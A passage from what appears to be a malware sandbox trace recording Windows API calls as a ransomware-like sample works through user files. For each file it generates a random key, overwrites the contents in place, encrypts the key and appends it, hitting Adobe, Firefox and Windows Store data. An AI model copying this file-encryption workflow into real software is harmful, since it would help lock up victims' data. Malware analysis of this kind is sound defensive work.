lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1af8a [0175.157] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.157] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.157] WriteFile (in: hFile=0x1978, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.158] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.158] CloseHandle (hObject=0x1978) returned 1 [0175.159] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.159] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0175.159] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c", dwFileAttributes=0x80) returned 1 [0175.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0175.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.161] ReadFile (in: hFile=0x1978, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x2b694, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x2b694, lpOverlapped=0x0) returned 1 [0175.179] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-177812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.180] WriteFile (in: hFile=0x1978, lpBuffer=0x33f8008*, nNumberOfBytesToWrite=0x2b694, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33f8008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2b694, lpOverlapped=0x0) returned 1 [0175.180] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2b694 [0175.180] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.181] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.181] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.181] CloseHandle (hObject=0x1978) returned 1 [0175.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0175.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5", dwFileAttributes=0x80) returned 1 [0175.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0175.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.183] ReadFile (in: hFile=0x1978, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1183, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1183, lpOverlapped=0x0) returned 1 [0175.184] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-4483, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.184] WriteFile (in: hFile=0x1978, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x1183, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1183, lpOverlapped=0x0) returned 1 [0175.185] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1183 [0175.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.185] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.185] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.186] CloseHandle (hObject=0x1978) returned 1 [0175.254] WriteFile (in: hFile=0x19dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.273] CloseHandle (hObject=0x19dc) returned 1 [0175.274] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.275] CloseHandle (hObject=0x19f4) returned 1 [0175.275] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.276] CloseHandle (hObject=0x19f4) returned 1 [0175.277] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.278] CloseHandle (hObject=0x19f4) returned 1 [0175.278] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.279] CloseHandle (hObject=0x19f4) returned 1 [0175.280] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.281] CloseHandle (hObject=0x19f4) returned 1 [0175.282] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.282] CloseHandle (hObject=0x19f4) returned 1 [0175.283] WriteFile (in: hFile=0x19f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.284] CloseHandle (hObject=0x19f4) returned 1 [0175.284] WriteFile (in: hFile=0x1a00, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.285] CloseHandle (hObject=0x1a00) returned 1 [0175.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.285] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", dwFileAttributes=0x80) returned 1 [0175.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611278 [0175.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9868 [0175.286] ReadFile (in: hFile=0x1a0c, lpBuffer=0x5839f0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5839f0*, lpNumberOfBytesRead=0x2e1f9bc*=0x18, lpOverlapped=0x0) returned 1 [0175.286] SetFilePointer (in: hFile=0x1a0c, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.286] WriteFile (in: hFile=0x1a0c, lpBuffer=0x5838b0*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5838b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18, lpOverlapped=0x0) returned 1 [0175.287] SetFilePointer (in: hFile=0x1a0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18 [0175.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.287] WriteFile (in: hFile=0x1a0c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.287] WriteFile (in: hFile=0x1a0c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.287] CloseHandle (hObject=0x1a0c) returned 1 [0175.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0175.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0175.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", dwFileAttributes=0x80) returned 1 [0175.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78dd0 [0175.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c95b0 [0175.294] ReadFile (in: hFile=0x1a0c, lpBuffer=0x583790, nNumberOfBytesToRead=0x16, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583790*, lpNumberOfBytesRead=0x2e1f9bc*=0x16, lpOverlapped=0x0) returned 1 [0175.295] SetFilePointer (in: hFile=0x1a0c, lDistanceToMove=-22, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.295] WriteFile (in: hFile=0x1a0c, lpBuffer=0x583810*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583810*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16, lpOverlapped=0x0) returned 1 [0175.295] SetFilePointer (in: hFile=0x1a0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16 [0175.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.295] WriteFile (in: hFile=0x1a0c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.296] WriteFile (in: hFile=0x1a0c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.296] CloseHandle (hObject=0x1a0c) returned 1 [0175.318] WriteFile (in: hFile=0x1a10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.319] CloseHandle (hObject=0x1a10) returned 1 [0175.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", dwFileAttributes=0x80) returned 1 [0175.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60ccc8 [0175.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585228 [0175.320] ReadFile (in: hFile=0x1a10, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1ebe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ebe, lpOverlapped=0x0) returned 1 [0175.337] SetFilePointer (in: hFile=0x1a10, lDistanceToMove=-7870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.338] WriteFile (in: hFile=0x1a10, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x1ebe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ebe, lpOverlapped=0x0) returned 1 [0175.338] SetFilePointer (in: hFile=0x1a10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ebe [0175.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.338] WriteFile (in: hFile=0x1a10, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.339] WriteFile (in: hFile=0x1a10, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.339] CloseHandle (hObject=0x1a10) returned 1 [0175.341] WriteFile (in: hFile=0x1a18, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.342] CloseHandle (hObject=0x1a18) returned 1 [0175.342] WriteFile (in: hFile=0x1a1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.343] CloseHandle (hObject=0x1a1c) returned 1 [0175.349] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.350] CloseHandle (hObject=0x1a24) returned 1 [0175.351] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.352] CloseHandle (hObject=0x1a24) returned 1 [0175.363] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.364] CloseHandle (hObject=0x1a24) returned 1 [0175.365] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.366] CloseHandle (hObject=0x1a24) returned 1 [0175.367] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.367] CloseHandle (hObject=0x1a24) returned 1 [0175.368] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.369] CloseHandle (hObject=0x1a24) returned 1 [0175.370] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.370] CloseHandle (hObject=0x1a24) returned 1 [0175.371] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.372] CloseHandle (hObject=0x1a24) returned 1 [0175.382] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.383] CloseHandle (hObject=0x1a24) returned 1 [0175.384] WriteFile (in: hFile=0x1a24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0175.385] CloseHandle (hObject=0x1a24) returned 1 [0175.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0175.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json", dwFileAttributes=0x80) returned 1 [0175.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f704e0 [0175.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.386] ReadFile (in: hFile=0x1a24, lpBuffer=0x5e81c0, nNumberOfBytesToRead=0x15f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e81c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x15f, lpOverlapped=0x0) returned 1 [0175.386] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.386] WriteFile (in: hFile=0x1a24, lpBuffer=0x5e8058*, nNumberOfBytesToWrite=0x15f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15f, lpOverlapped=0x0) returned 1 [0175.387] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15f [0175.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.387] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.401] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.402] CloseHandle (hObject=0x1a24) returned 1 [0175.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.406] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite", dwFileAttributes=0x80) returned 1 [0175.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0175.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578950 [0175.407] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x18000, lpOverlapped=0x0) returned 1 [0175.418] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.418] WriteFile (in: hFile=0x1a24, lpBuffer=0x343a010*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18000, lpOverlapped=0x0) returned 1 [0175.419] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18000 [0175.419] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.419] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.419] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 